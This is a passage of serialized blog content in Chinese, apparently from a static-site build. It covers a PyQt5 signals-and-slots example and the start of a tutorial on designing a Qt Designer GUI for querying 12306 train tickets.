将自定义槽连接到信号",{"type":18,"tag":121,"props":61118,"children":61119},{},[],{"type":18,"tag":34,"props":61121,"children":61122},{},[61123,61125,61130,61131,61136,61138,61143],{"type":24,"value":61124},"在自定义槽函数之后，即可与信号进行关联，比如，这里与",{"type":18,"tag":74,"props":61126,"children":61128},{"className":61127},[],[61129],{"type":24,"value":44683},{"type":24,"value":44705},{"type":18,"tag":74,"props":61132,"children":61134},{"className":61133},[],[61135],{"type":24,"value":52990},{"type":24,"value":61137},"信号关联，即在单击",{"type":18,"tag":74,"props":61139,"children":61141},{"className":61140},[],[61142],{"type":24,"value":44683},{"type":24,"value":61144},"按钮时，弹出信息提示框，将自定义槽连接到信号的代码如下：",{"type":18,"tag":287,"props":61146,"children":61148},{"className":28710,"code":61147,"language":28712,"meta":8,"style":8},"self.pushButton.clicked.connect(self.showMessage)\n",[61149],{"type":18,"tag":74,"props":61150,"children":61151},{"__ignoreMap":8},[61152],{"type":18,"tag":297,"props":61153,"children":61154},{"class":299,"line":300},[61155],{"type":18,"tag":297,"props":61156,"children":61157},{},[61158],{"type":24,"value":61147},{"type":18,"tag":34,"props":61160,"children":61161},{},[61162,61164,61169],{"type":24,"value":61163},"运行程序，单击窗口中的",{"type":18,"tag":74,"props":61165,"children":61167},{"className":61166},[],[61168],{"type":24,"value":44683},{"type":24,"value":61170},"按钮，即可弹出信息提示框，效果如图所示。",{"type":18,"tag":34,"props":61172,"children":61173},{},[61174],{"type":18,"tag":54,"props":61175,"children":61178},{"alt":61176,"src":61177},"Pasted image 20250827145957","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827145957.png",[],{"type":18,"tag":651,"props":61180,"children":61181},{},[61182],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":61184},[61185,61186,61187,61188],{"id":60678,"depth":657,"text":60681},{"id":60779,"depth":657,"text":60782},{"id":61019,"depth":657,"text":61022},{"id":61113,"depth":657,"text":61116},"content:blog:2025-08-20-pyqt5-信号与槽.md","blog\u002F2025-08-20-pyqt5-信号与槽.md","blog\u002F2025-08-20-pyqt5-信号与槽",{"_path":61193,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":61194,"description":61195,"date":61196,"tags":61197,"body":61198,"_type":672,"_id":66917,"_source":674,"_file":66918,"_stem":66919,"_extension":677},"\u002Fblog\u002F2025-08-01-train-tickets","12306 车票查询接口实现","Python爬虫实战：使用PyQt5构建12306火车票查询GUI工具，包含窗体设计、请求参数分析与数据展示。","2025-08-01",[28616,33340,41429],{"type":15,"children":61199,"toc":66903},[61200,61206,61209,61214,61221,61229,61235,61238,61243,61274,61285,61290,61293,61298,61306,61312,61317,61322,61330,61343,61351,61356,61364,61369,61505,61510,61743,61751,61756,62064,62072,62080,62085,62093,62101,62137,62145,62153,62158,62170,62338,62343,62363,62418,62466,62577,62582,62693,62701,62720,62861,62874,63001,63014,63077,63085,63093,63221,63233,63256,63261,63269,63274,63277,63282,63311,63324,63329,63337,63345,63350,63358,63363,63371,63376,63379,63384,63404,63412,63420,63425,63433,63449,63462,63506,63609,63617,63621,63650,63766,63786,63855,63867,63875,63880,63883,63889,63894,63899,63907,63919,63927,63950,63958,63992,64099,64120,64171,64520,64525,64627,64658,64688,64693,65542,65548,65553,65594,65633,65652,65803,65808,65941,66003,66113,66126,66283,66304,66422,66442,66779,66791,66886,66891,66899],{"type":18,"tag":19,"props":61201,"children":61203},{"id":61202},"_12306爬票概述",[61204],{"type":24,"value":61205},"12306爬票概述",{"type":18,"tag":121,"props":61207,"children":61208},{},[],{"type":18,"tag":34,"props":61210,"children":61211},{},[61212],{"type":24,"value":61213},"无论是出差还是旅行，都无法离开交通工具的支持。现如今随着科技水平的提高，高铁与动车成为人们喜爱的交通工具。如果想要知道每列车次的时间信息，都需要在各类的列车网站中进行查询，本项目将通过Python的爬虫技术实现一个12306爬票工具，如图所示。",{"type":18,"tag":10562,"props":61215,"children":61218},{"src":61216,"controls":793,"style":61217},"\u002Fimages\u002Fblog\u002Ftrain-tickets\u002F12306-assistant.mp4","max-width:100%;display:block;margin:1.5em auto;border-radius:4px",[61219],{"type":24,"value":61220},"\n  您的浏览器不支持视频播放\n",{"type":18,"tag":34,"props":61222,"children":61223},{},[61224],{"type":18,"tag":54,"props":61225,"children":61228},{"alt":61226,"src":61227},"Pasted image 20250801224932","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250801224932.png",[],{"type":18,"tag":19,"props":61230,"children":61232},{"id":61231},"搭建qt环境",[61233],{"type":24,"value":61234},"搭建QT环境",{"type":18,"tag":121,"props":61236,"children":61237},{},[],{"type":18,"tag":34,"props":61239,"children":61240},{},[61241],{"type":24,"value":61242},"Qt是Python开发窗体的工具之一，它不仅与Python有着良好的兼容性，还可以通过可视化拖拽的方式进行窗体的创建，提高开发人员的开发效率，因此受到开发人员的喜爱。",{"type":18,"tag":34,"props":61244,"children":61245},{},[61246,61251,61253,61258,61260,61265,61267,61272],{"type":18,"tag":105,"props":61247,"children":61248},{},[61249],{"type":24,"value":61250},"第一步",{"type":24,"value":61252},"：安装Python解释器\n",{"type":18,"tag":105,"props":61254,"children":61255},{},[61256],{"type":24,"value":61257},"第二步",{"type":24,"value":61259},"：安装Pycharm编辑器\n",{"type":18,"tag":105,"props":61261,"children":61262},{},[61263],{"type":24,"value":61264},"第三步",{"type":24,"value":61266},"：在Python上安装Qt模块环境\n",{"type":18,"tag":105,"props":61268,"children":61269},{},[61270],{"type":24,"value":61271},"第四步",{"type":24,"value":61273},"：结合安装的PyQt5模块进行Pycharm的配置",{"type":18,"tag":34,"props":61275,"children":61276},{},[61277,61279],{"type":24,"value":61278},"详细QT环境的配置，请访问 ",{"type":18,"tag":43,"props":61280,"children":61282},{"href":61281},"\u002Fblog\u002F2025-07-16-pyqt5-pyqt5",[61283],{"type":24,"value":61284},"PyQt5环境搭建",{"type":18,"tag":19,"props":61286,"children":61288},{"id":61287},"主窗体设计",[61289],{"type":24,"value":61287},{"type":18,"tag":121,"props":61291,"children":61292},{},[],{"type":18,"tag":34,"props":61294,"children":61295},{},[61296],{"type":24,"value":61297},"Python、QT与PyCharm配置完成后，接下来需要对快手爬票的主窗体进行设计，首先需要创建主窗体外层，然后依次添加顶部图片、查询区域、选择车次类型区域、分类图片区域、信息表格区域。设计顺序如图所示。",{"type":18,"tag":34,"props":61299,"children":61300},{},[61301],{"type":18,"tag":54,"props":61302,"children":61305},{"alt":61303,"src":61304},"Pasted image 20250731211018","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731211018.png",[],{"type":18,"tag":27,"props":61307,"children":61309},{"id":61308},"qt拖曳控件",[61310],{"type":24,"value":61311},"Qt拖曳控件",{"type":18,"tag":34,"props":61313,"children":61314},{},[61315],{"type":24,"value":61316},"了解了窗体设计思路以后，接下来需要实现快手爬票的窗体。由于在14.4.2小节中已经将Python、QT与PyCharm三个开发工具进行了环境配置，所以创建窗体时只需要启动PyCharm开发工具即可，实现窗体的具体步骤如下：",{"type":18,"tag":34,"props":61318,"children":61319},{},[61320],{"type":24,"value":61321},"1）在PyCharm开发工具中创建新的Python项目，项目打开完成后，在顶部的菜单栏中依次单击Tools → External Tools → Qt Designer打开设计师，如图所示：",{"type":18,"tag":34,"props":61323,"children":61324},{},[61325],{"type":18,"tag":54,"props":61326,"children":61329},{"alt":61327,"src":61328},"Pasted image 20250731161043","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731161043.png",[],{"type":18,"tag":34,"props":61331,"children":61332},{},[61333,61335,61341],{"type":24,"value":61334},"2）单击Qt Designer快捷工具后，Qt的窗口编辑工具将自动打开，并且会自动弹出一个新建窗体的窗口，在该窗口中选择一个主窗体的模板，这里选择",{"type":18,"tag":74,"props":61336,"children":61338},{"className":61337},[],[61339],{"type":24,"value":61340},"Main Window",{"type":24,"value":61342},"然后单击创建按钮即可，如图所示：",{"type":18,"tag":34,"props":61344,"children":61345},{},[61346],{"type":18,"tag":54,"props":61347,"children":61350},{"alt":61348,"src":61349},"Pasted image 20250731161313","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731161313.png",[],{"type":18,"tag":34,"props":61352,"children":61353},{},[61354],{"type":24,"value":61355},"3）主窗体创建完成后，自动进入到Qt Designer的设计界面，顶部区域是菜单栏与快捷菜单选项，左侧区域是各种控件与布局，中间的区域为编辑区域，该区域可以将控件拖曳至此处，也可以预览窗体的设计效果。右侧上方是对象查看器，此处列出所有控件以及彼此所属的关系层。右侧中间的位置是属性编辑器，此处可以设置控件的各种属性。右侧底部的位置分别为信号\u002F槽编辑器、动作编辑器及资源浏览器，具体位置如图所示：",{"type":18,"tag":34,"props":61357,"children":61358},{},[61359],{"type":18,"tag":54,"props":61360,"children":61363},{"alt":61361,"src":61362},"Pasted image 20250731162052","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731162052.png",[],{"type":18,"tag":34,"props":61365,"children":61366},{},[61367],{"type":24,"value":61368},"4）根据设计思路依次将指定的控件拖拽至主窗体中，首先添加主窗体容器内的控件如下表所示。",{"type":18,"tag":431,"props":61370,"children":61371},{},[61372,61401],{"type":18,"tag":435,"props":61373,"children":61374},{},[61375],{"type":18,"tag":439,"props":61376,"children":61377},{},[61378,61386,61393],{"type":18,"tag":443,"props":61379,"children":61380},{"align":3465},[61381],{"type":18,"tag":105,"props":61382,"children":61383},{},[61384],{"type":24,"value":61385},"对 象 名 称",{"type":18,"tag":443,"props":61387,"children":61388},{"align":3465},[61389],{"type":18,"tag":105,"props":61390,"children":61391},{},[61392],{"type":24,"value":59833},{"type":18,"tag":443,"props":61394,"children":61395},{"align":3465},[61396],{"type":18,"tag":105,"props":61397,"children":61398},{},[61399],{"type":24,"value":61400},"描    述",{"type":18,"tag":459,"props":61402,"children":61403},{},[61404,61429,61454,61479],{"type":18,"tag":439,"props":61405,"children":61406},{},[61407,61416,61424],{"type":18,"tag":466,"props":61408,"children":61409},{"align":3465},[61410],{"type":18,"tag":74,"props":61411,"children":61413},{"className":61412},[],[61414],{"type":24,"value":61415},"centralwidget",{"type":18,"tag":466,"props":61417,"children":61418},{"align":3465},[61419],{"type":18,"tag":74,"props":61420,"children":61422},{"className":61421},[],[61423],{"type":24,"value":58931},{"type":18,"tag":466,"props":61425,"children":61426},{"align":3465},[61427],{"type":24,"value":61428},"该控件与对象名称是创建主窗体后默认生成，为主窗体外层容器",{"type":18,"tag":439,"props":61430,"children":61431},{},[61432,61441,61449],{"type":18,"tag":466,"props":61433,"children":61434},{"align":3465},[61435],{"type":18,"tag":74,"props":61436,"children":61438},{"className":61437},[],[61439],{"type":24,"value":61440},"label_title_img",{"type":18,"tag":466,"props":61442,"children":61443},{"align":3465},[61444],{"type":18,"tag":74,"props":61445,"children":61447},{"className":61446},[],[61448],{"type":24,"value":46249},{"type":18,"tag":466,"props":61450,"children":61451},{"align":3465},[61452],{"type":24,"value":61453},"该控件位于主窗体容器内，用于设置顶部图片、对象名称自定义",{"type":18,"tag":439,"props":61455,"children":61456},{},[61457,61466,61474],{"type":18,"tag":466,"props":61458,"children":61459},{"align":3465},[61460],{"type":18,"tag":74,"props":61461,"children":61463},{"className":61462},[],[61464],{"type":24,"value":61465},"label_train_img",{"type":18,"tag":466,"props":61467,"children":61468},{"align":3465},[61469],{"type":18,"tag":74,"props":61470,"children":61472},{"className":61471},[],[61473],{"type":24,"value":46249},{"type":18,"tag":466,"props":61475,"children":61476},{"align":3465},[61477],{"type":24,"value":61478},"该控件位于主窗体容器内，用于设置分类图片、对象名称自定义",{"type":18,"tag":439,"props":61480,"children":61481},{},[61482,61491,61500],{"type":18,"tag":466,"props":61483,"children":61484},{"align":3465},[61485],{"type":18,"tag":74,"props":61486,"children":61488},{"className":61487},[],[61489],{"type":24,"value":61490},"tableView",{"type":18,"tag":466,"props":61492,"children":61493},{"align":3465},[61494],{"type":18,"tag":74,"props":61495,"children":61497},{"className":61496},[],[61498],{"type":24,"value":61499},"QTableView",{"type":18,"tag":466,"props":61501,"children":61502},{"align":3465},[61503],{"type":24,"value":61504},"该控件位于主窗体容器内，用于显示信息表格、对象名称自定义",{"type":18,"tag":34,"props":61506,"children":61507},{},[61508],{"type":24,"value":61509},"向主窗体中添加查询区域容器与控件，如下表所示。",{"type":18,"tag":431,"props":61511,"children":61512},{},[61513,61541],{"type":18,"tag":435,"props":61514,"children":61515},{},[61516],{"type":18,"tag":439,"props":61517,"children":61518},{},[61519,61526,61533],{"type":18,"tag":443,"props":61520,"children":61521},{"align":3465},[61522],{"type":18,"tag":105,"props":61523,"children":61524},{},[61525],{"type":24,"value":61385},{"type":18,"tag":443,"props":61527,"children":61528},{"align":3465},[61529],{"type":18,"tag":105,"props":61530,"children":61531},{},[61532],{"type":24,"value":59833},{"type":18,"tag":443,"props":61534,"children":61535},{"align":3465},[61536],{"type":18,"tag":105,"props":61537,"children":61538},{},[61539],{"type":24,"value":61540},"描　　述",{"type":18,"tag":459,"props":61542,"children":61543},{},[61544,61569,61593,61618,61643,61668,61693,61718],{"type":18,"tag":439,"props":61545,"children":61546},{},[61547,61556,61564],{"type":18,"tag":466,"props":61548,"children":61549},{"align":3465},[61550],{"type":18,"tag":74,"props":61551,"children":61553},{"className":61552},[],[61554],{"type":24,"value":61555},"widget_query",{"type":18,"tag":466,"props":61557,"children":61558},{"align":3465},[61559],{"type":18,"tag":74,"props":61560,"children":61562},{"className":61561},[],[61563],{"type":24,"value":58931},{"type":18,"tag":466,"props":61565,"children":61566},{"align":3465},[61567],{"type":24,"value":61568},"该控件位于用于显示查询区域，对象名称自定义，该控件为查询区域的容器",{"type":18,"tag":439,"props":61570,"children":61571},{},[61572,61580,61588],{"type":18,"tag":466,"props":61573,"children":61574},{"align":3465},[61575],{"type":18,"tag":74,"props":61576,"children":61578},{"className":61577},[],[61579],{"type":24,"value":12799},{"type":18,"tag":466,"props":61581,"children":61582},{"align":3465},[61583],{"type":18,"tag":74,"props":61584,"children":61586},{"className":61585},[],[61587],{"type":24,"value":46249},{"type":18,"tag":466,"props":61589,"children":61590},{"align":3465},[61591],{"type":24,"value":61592},"该控件位于查询区域的容器内，用于显示“出发地：”文字、对象名称自定义",{"type":18,"tag":439,"props":61594,"children":61595},{},[61596,61605,61613],{"type":18,"tag":466,"props":61597,"children":61598},{"align":3465},[61599],{"type":18,"tag":74,"props":61600,"children":61602},{"className":61601},[],[61603],{"type":24,"value":61604},"label_2",{"type":18,"tag":466,"props":61606,"children":61607},{"align":3465},[61608],{"type":18,"tag":74,"props":61609,"children":61611},{"className":61610},[],[61612],{"type":24,"value":46249},{"type":18,"tag":466,"props":61614,"children":61615},{"align":3465},[61616],{"type":24,"value":61617},"该控件位于查询区域的容器内，用于查询区域的容器内，显示“目的地：”文字、对象名称自定义",{"type":18,"tag":439,"props":61619,"children":61620},{},[61621,61630,61638],{"type":18,"tag":466,"props":61622,"children":61623},{"align":3465},[61624],{"type":18,"tag":74,"props":61625,"children":61627},{"className":61626},[],[61628],{"type":24,"value":61629},"label_3",{"type":18,"tag":466,"props":61631,"children":61632},{"align":3465},[61633],{"type":18,"tag":74,"props":61634,"children":61636},{"className":61635},[],[61637],{"type":24,"value":46249},{"type":18,"tag":466,"props":61639,"children":61640},{"align":3465},[61641],{"type":24,"value":61642},"该控件位于查询区域的容器内，用于显示“出发日：”文字、对象名称自定义",{"type":18,"tag":439,"props":61644,"children":61645},{},[61646,61655,61663],{"type":18,"tag":466,"props":61647,"children":61648},{"align":3465},[61649],{"type":18,"tag":74,"props":61650,"children":61652},{"className":61651},[],[61653],{"type":24,"value":61654},"pushButton",{"type":18,"tag":466,"props":61656,"children":61657},{"align":3465},[61658],{"type":18,"tag":74,"props":61659,"children":61661},{"className":61660},[],[61662],{"type":24,"value":52872},{"type":18,"tag":466,"props":61664,"children":61665},{"align":3465},[61666],{"type":24,"value":61667},"该控件位于查询区域的容器内，用于显示查询按钮，对象名称自定义",{"type":18,"tag":439,"props":61669,"children":61670},{},[61671,61680,61688],{"type":18,"tag":466,"props":61672,"children":61673},{"align":3465},[61674],{"type":18,"tag":74,"props":61675,"children":61677},{"className":61676},[],[61678],{"type":24,"value":61679},"textEdit",{"type":18,"tag":466,"props":61681,"children":61682},{"align":3465},[61683],{"type":18,"tag":74,"props":61684,"children":61686},{"className":61685},[],[61687],{"type":24,"value":57237},{"type":18,"tag":466,"props":61689,"children":61690},{"align":3465},[61691],{"type":24,"value":61692},"该控件位于查询区域的容器内，用于显示“出发地”所对应的编辑框、对象名称自定义",{"type":18,"tag":439,"props":61694,"children":61695},{},[61696,61705,61713],{"type":18,"tag":466,"props":61697,"children":61698},{"align":3465},[61699],{"type":18,"tag":74,"props":61700,"children":61702},{"className":61701},[],[61703],{"type":24,"value":61704},"textEdit_2",{"type":18,"tag":466,"props":61706,"children":61707},{"align":3465},[61708],{"type":18,"tag":74,"props":61709,"children":61711},{"className":61710},[],[61712],{"type":24,"value":57237},{"type":18,"tag":466,"props":61714,"children":61715},{"align":3465},[61716],{"type":24,"value":61717},"该控件位于查询区域的容器内，用于显示“目的地”所对应的编辑框、对象名称自定义",{"type":18,"tag":439,"props":61719,"children":61720},{},[61721,61730,61738],{"type":18,"tag":466,"props":61722,"children":61723},{"align":3465},[61724],{"type":18,"tag":74,"props":61725,"children":61727},{"className":61726},[],[61728],{"type":24,"value":61729},"textEdit_3",{"type":18,"tag":466,"props":61731,"children":61732},{"align":3465},[61733],{"type":18,"tag":74,"props":61734,"children":61736},{"className":61735},[],[61737],{"type":24,"value":57237},{"type":18,"tag":466,"props":61739,"children":61740},{"align":3465},[61741],{"type":24,"value":61742},"该控件位于查询区域的容器内，用于显示“出发日”所对应的编辑框、对象名称自定义",{"type":18,"tag":34,"props":61744,"children":61745},{},[61746],{"type":18,"tag":54,"props":61747,"children":61750},{"alt":61748,"src":61749},"Pasted image 20250731170433","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731170433.png",[],{"type":18,"tag":34,"props":61752,"children":61753},{},[61754],{"type":24,"value":61755},"向主窗体中添加选择车次类型容器与控件，如下表所示：",{"type":18,"tag":431,"props":61757,"children":61758},{},[61759,61786],{"type":18,"tag":435,"props":61760,"children":61761},{},[61762],{"type":18,"tag":439,"props":61763,"children":61764},{},[61765,61772,61779],{"type":18,"tag":443,"props":61766,"children":61767},{"align":3465},[61768],{"type":18,"tag":105,"props":61769,"children":61770},{},[61771],{"type":24,"value":61385},{"type":18,"tag":443,"props":61773,"children":61774},{"align":3465},[61775],{"type":18,"tag":105,"props":61776,"children":61777},{},[61778],{"type":24,"value":59833},{"type":18,"tag":443,"props":61780,"children":61781},{"align":3465},[61782],{"type":18,"tag":105,"props":61783,"children":61784},{},[61785],{"type":24,"value":61400},{"type":18,"tag":459,"props":61787,"children":61788},{},[61789,61814,61839,61864,61889,61914,61939,61964,61989,62014,62039],{"type":18,"tag":439,"props":61790,"children":61791},{},[61792,61801,61809],{"type":18,"tag":466,"props":61793,"children":61794},{"align":3465},[61795],{"type":18,"tag":74,"props":61796,"children":61798},{"className":61797},[],[61799],{"type":24,"value":61800},"widget_checkBox",{"type":18,"tag":466,"props":61802,"children":61803},{"align":3465},[61804],{"type":18,"tag":74,"props":61805,"children":61807},{"className":61806},[],[61808],{"type":24,"value":58931},{"type":18,"tag":466,"props":61810,"children":61811},{"align":3465},[61812],{"type":24,"value":61813},"该控件用于显示选择车次类型区域、对象名称自定义，该控件为选择车次类型区域的容器",{"type":18,"tag":439,"props":61815,"children":61816},{},[61817,61826,61834],{"type":18,"tag":466,"props":61818,"children":61819},{"align":3465},[61820],{"type":18,"tag":74,"props":61821,"children":61823},{"className":61822},[],[61824],{"type":24,"value":61825},"checkBox_D",{"type":18,"tag":466,"props":61827,"children":61828},{"align":3465},[61829],{"type":18,"tag":74,"props":61830,"children":61832},{"className":61831},[],[61833],{"type":24,"value":55023},{"type":18,"tag":466,"props":61835,"children":61836},{"align":3465},[61837],{"type":24,"value":61838},"该控件位于选择车次类型的容器内，用于选择动车类型、对象名称自定义",{"type":18,"tag":439,"props":61840,"children":61841},{},[61842,61851,61859],{"type":18,"tag":466,"props":61843,"children":61844},{"align":3465},[61845],{"type":18,"tag":74,"props":61846,"children":61848},{"className":61847},[],[61849],{"type":24,"value":61850},"checkBox_G",{"type":18,"tag":466,"props":61852,"children":61853},{"align":3465},[61854],{"type":18,"tag":74,"props":61855,"children":61857},{"className":61856},[],[61858],{"type":24,"value":55023},{"type":18,"tag":466,"props":61860,"children":61861},{"align":3465},[61862],{"type":24,"value":61863},"该控件位于选择车次类型的容器内，用于选择高铁类型、对象名称自定义",{"type":18,"tag":439,"props":61865,"children":61866},{},[61867,61876,61884],{"type":18,"tag":466,"props":61868,"children":61869},{"align":3465},[61870],{"type":18,"tag":74,"props":61871,"children":61873},{"className":61872},[],[61874],{"type":24,"value":61875},"checkBox_K",{"type":18,"tag":466,"props":61877,"children":61878},{"align":3465},[61879],{"type":18,"tag":74,"props":61880,"children":61882},{"className":61881},[],[61883],{"type":24,"value":55023},{"type":18,"tag":466,"props":61885,"children":61886},{"align":3465},[61887],{"type":24,"value":61888},"该控件位于选择车次类型的容器内，用于选择快车类型、对象名称自定义",{"type":18,"tag":439,"props":61890,"children":61891},{},[61892,61901,61909],{"type":18,"tag":466,"props":61893,"children":61894},{"align":3465},[61895],{"type":18,"tag":74,"props":61896,"children":61898},{"className":61897},[],[61899],{"type":24,"value":61900},"checkBox_T",{"type":18,"tag":466,"props":61902,"children":61903},{"align":3465},[61904],{"type":18,"tag":74,"props":61905,"children":61907},{"className":61906},[],[61908],{"type":24,"value":55023},{"type":18,"tag":466,"props":61910,"children":61911},{"align":3465},[61912],{"type":24,"value":61913},"该控件位于选择车次类型的容器内，用于选择特快类型、对象名称自定义",{"type":18,"tag":439,"props":61915,"children":61916},{},[61917,61926,61934],{"type":18,"tag":466,"props":61918,"children":61919},{"align":3465},[61920],{"type":18,"tag":74,"props":61921,"children":61923},{"className":61922},[],[61924],{"type":24,"value":61925},"checkBox_Z",{"type":18,"tag":466,"props":61927,"children":61928},{"align":3465},[61929],{"type":18,"tag":74,"props":61930,"children":61932},{"className":61931},[],[61933],{"type":24,"value":55023},{"type":18,"tag":466,"props":61935,"children":61936},{"align":3465},[61937],{"type":24,"value":61938},"该控件位于选择车次类型的容器内，用于选择直达类型、对象名称自定义",{"type":18,"tag":439,"props":61940,"children":61941},{},[61942,61951,61959],{"type":18,"tag":466,"props":61943,"children":61944},{"align":3465},[61945],{"type":18,"tag":74,"props":61946,"children":61948},{"className":61947},[],[61949],{"type":24,"value":61950},"label_type",{"type":18,"tag":466,"props":61952,"children":61953},{"align":3465},[61954],{"type":18,"tag":74,"props":61955,"children":61957},{"className":61956},[],[61958],{"type":24,"value":46249},{"type":18,"tag":466,"props":61960,"children":61961},{"align":3465},[61962],{"type":24,"value":61963},"该控件位于选择车次类型的容器内，用于显示“车次类型：”文字、对象名称自定义",{"type":18,"tag":439,"props":61965,"children":61966},{},[61967,61976,61984],{"type":18,"tag":466,"props":61968,"children":61969},{"align":3465},[61970],{"type":18,"tag":74,"props":61971,"children":61973},{"className":61972},[],[61974],{"type":24,"value":61975},"checkBox_O",{"type":18,"tag":466,"props":61977,"children":61978},{"align":3465},[61979],{"type":18,"tag":74,"props":61980,"children":61982},{"className":61981},[],[61983],{"type":24,"value":55023},{"type":18,"tag":466,"props":61985,"children":61986},{"align":3465},[61987],{"type":24,"value":61988},"该控件位于选择车次类型的容器内，用于选择其他类型、对象名称自定义",{"type":18,"tag":439,"props":61990,"children":61991},{},[61992,62001,62009],{"type":18,"tag":466,"props":61993,"children":61994},{"align":3465},[61995],{"type":18,"tag":74,"props":61996,"children":61998},{"className":61997},[],[61999],{"type":24,"value":62000},"checkBox_F",{"type":18,"tag":466,"props":62002,"children":62003},{"align":3465},[62004],{"type":18,"tag":74,"props":62005,"children":62007},{"className":62006},[],[62008],{"type":24,"value":55023},{"type":18,"tag":466,"props":62010,"children":62011},{"align":3465},[62012],{"type":24,"value":62013},"该控件位于选择车次类型的容器内，用于选择复兴号类型、对象名称自定义",{"type":18,"tag":439,"props":62015,"children":62016},{},[62017,62026,62034],{"type":18,"tag":466,"props":62018,"children":62019},{"align":3465},[62020],{"type":18,"tag":74,"props":62021,"children":62023},{"className":62022},[],[62024],{"type":24,"value":62025},"checkBox_EMU",{"type":18,"tag":466,"props":62027,"children":62028},{"align":3465},[62029],{"type":18,"tag":74,"props":62030,"children":62032},{"className":62031},[],[62033],{"type":24,"value":55023},{"type":18,"tag":466,"props":62035,"children":62036},{"align":3465},[62037],{"type":24,"value":62038},"该控件位于选择车次类型的容器内，用于选择智能动车组类型、对象名称自定义",{"type":18,"tag":439,"props":62040,"children":62041},{},[62042,62051,62059],{"type":18,"tag":466,"props":62043,"children":62044},{"align":3465},[62045],{"type":18,"tag":74,"props":62046,"children":62048},{"className":62047},[],[62049],{"type":24,"value":62050},"checkBox_ALL",{"type":18,"tag":466,"props":62052,"children":62053},{"align":3465},[62054],{"type":18,"tag":74,"props":62055,"children":62057},{"className":62056},[],[62058],{"type":24,"value":55023},{"type":18,"tag":466,"props":62060,"children":62061},{"align":3465},[62062],{"type":24,"value":62063},"该控件位于选择车次类型的容器内，用于选择全部类型、对象名称自定义",{"type":18,"tag":34,"props":62065,"children":62066},{},[62067],{"type":18,"tag":54,"props":62068,"children":62071},{"alt":62069,"src":62070},"Pasted image 20250731170532","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731170532.png",[],{"type":18,"tag":96,"props":62073,"children":62074},{},[62075],{"type":18,"tag":34,"props":62076,"children":62077},{},[62078],{"type":24,"value":62079},"说明：除了主窗体默认创建的QWidget控件外，其他每个QWidget就是一个显示区域的容器，都需要自行拖曳到主窗体当中，然后将每个区域对应的控件拖曳并摆放在当前的容器中即可。",{"type":18,"tag":34,"props":62081,"children":62082},{},[62083],{"type":24,"value":62084},"注意：在拖曳控件时可以根据控件边缘的蓝色调节点设置控件的位置与大小，如果需要修改非常精确的参数值可以在属性编辑器中进行设置也可以在生成后的Python代码中对窗体的详细参数进行修改。在设置控件文字时，可以选中控件然后在右侧的属性编辑器的text标签中进行设置，如图所示。",{"type":18,"tag":34,"props":62086,"children":62087},{},[62088],{"type":18,"tag":54,"props":62089,"children":62092},{"alt":62090,"src":62091},"Pasted image 20250731171105","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731171105.png",[],{"type":18,"tag":34,"props":62094,"children":62095},{},[62096],{"type":18,"tag":54,"props":62097,"children":62100},{"alt":62098,"src":62099},"Pasted image 20250731171239","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731171239.png",[],{"type":18,"tag":34,"props":62102,"children":62103},{},[62104,62106,62112,62114,62120,62122,62128,62130,62135],{"type":24,"value":62105},"5）窗体设计完成后，按下",{"type":18,"tag":74,"props":62107,"children":62109},{"className":62108},[],[62110],{"type":24,"value":62111},"Ctrl+S",{"type":24,"value":62113},"快捷键保存窗体设计文件名称为",{"type":18,"tag":74,"props":62115,"children":62117},{"className":62116},[],[62118],{"type":24,"value":62119},"window.ui",{"type":24,"value":62121},"，然后需要将该文件保存在当前项目的目录当中，再选中该文件单击右键依次选择",{"type":18,"tag":74,"props":62123,"children":62125},{"className":62124},[],[62126],{"type":24,"value":62127},"External Tools → PyUIC",{"type":24,"value":62129},"选项，将窗体设计的ui文件转换为",{"type":18,"tag":74,"props":62131,"children":62133},{"className":62132},[],[62134],{"type":24,"value":42560},{"type":24,"value":62136},"文件，如图所示。",{"type":18,"tag":34,"props":62138,"children":62139},{},[62140],{"type":18,"tag":54,"props":62141,"children":62144},{"alt":62142,"src":62143},"Pasted image 20250731171635","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731171635.png",[],{"type":18,"tag":34,"props":62146,"children":62147},{},[62148],{"type":18,"tag":54,"props":62149,"children":62152},{"alt":62150,"src":62151},"Pasted image 20250731171708","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731171708.png",[],{"type":18,"tag":27,"props":62154,"children":62156},{"id":62155},"代码调试",[62157],{"type":24,"value":62155},{"type":18,"tag":34,"props":62159,"children":62160},{},[62161,62162,62168],{"type":24,"value":60645},{"type":18,"tag":74,"props":62163,"children":62165},{"className":62164},[],[62166],{"type":24,"value":62167},"window.py",{"type":24,"value":62169},"文件后，自动生成的代码中已经导入了PyQt5以及其内部的常用模块。PyQt5是一套Python绑定Digia QT5应用的框架，它可用于Python 2.x和3.x的版本中。它是功能最强大的GUI库之一，PyQt5的类别分为多个模块，常见的模块与概述如下表所示。",{"type":18,"tag":431,"props":62171,"children":62172},{},[62173,62194],{"type":18,"tag":435,"props":62174,"children":62175},{},[62176],{"type":18,"tag":439,"props":62177,"children":62178},{},[62179,62187],{"type":18,"tag":443,"props":62180,"children":62181},{"align":3465},[62182],{"type":18,"tag":105,"props":62183,"children":62184},{},[62185],{"type":24,"value":62186},"模 块 名 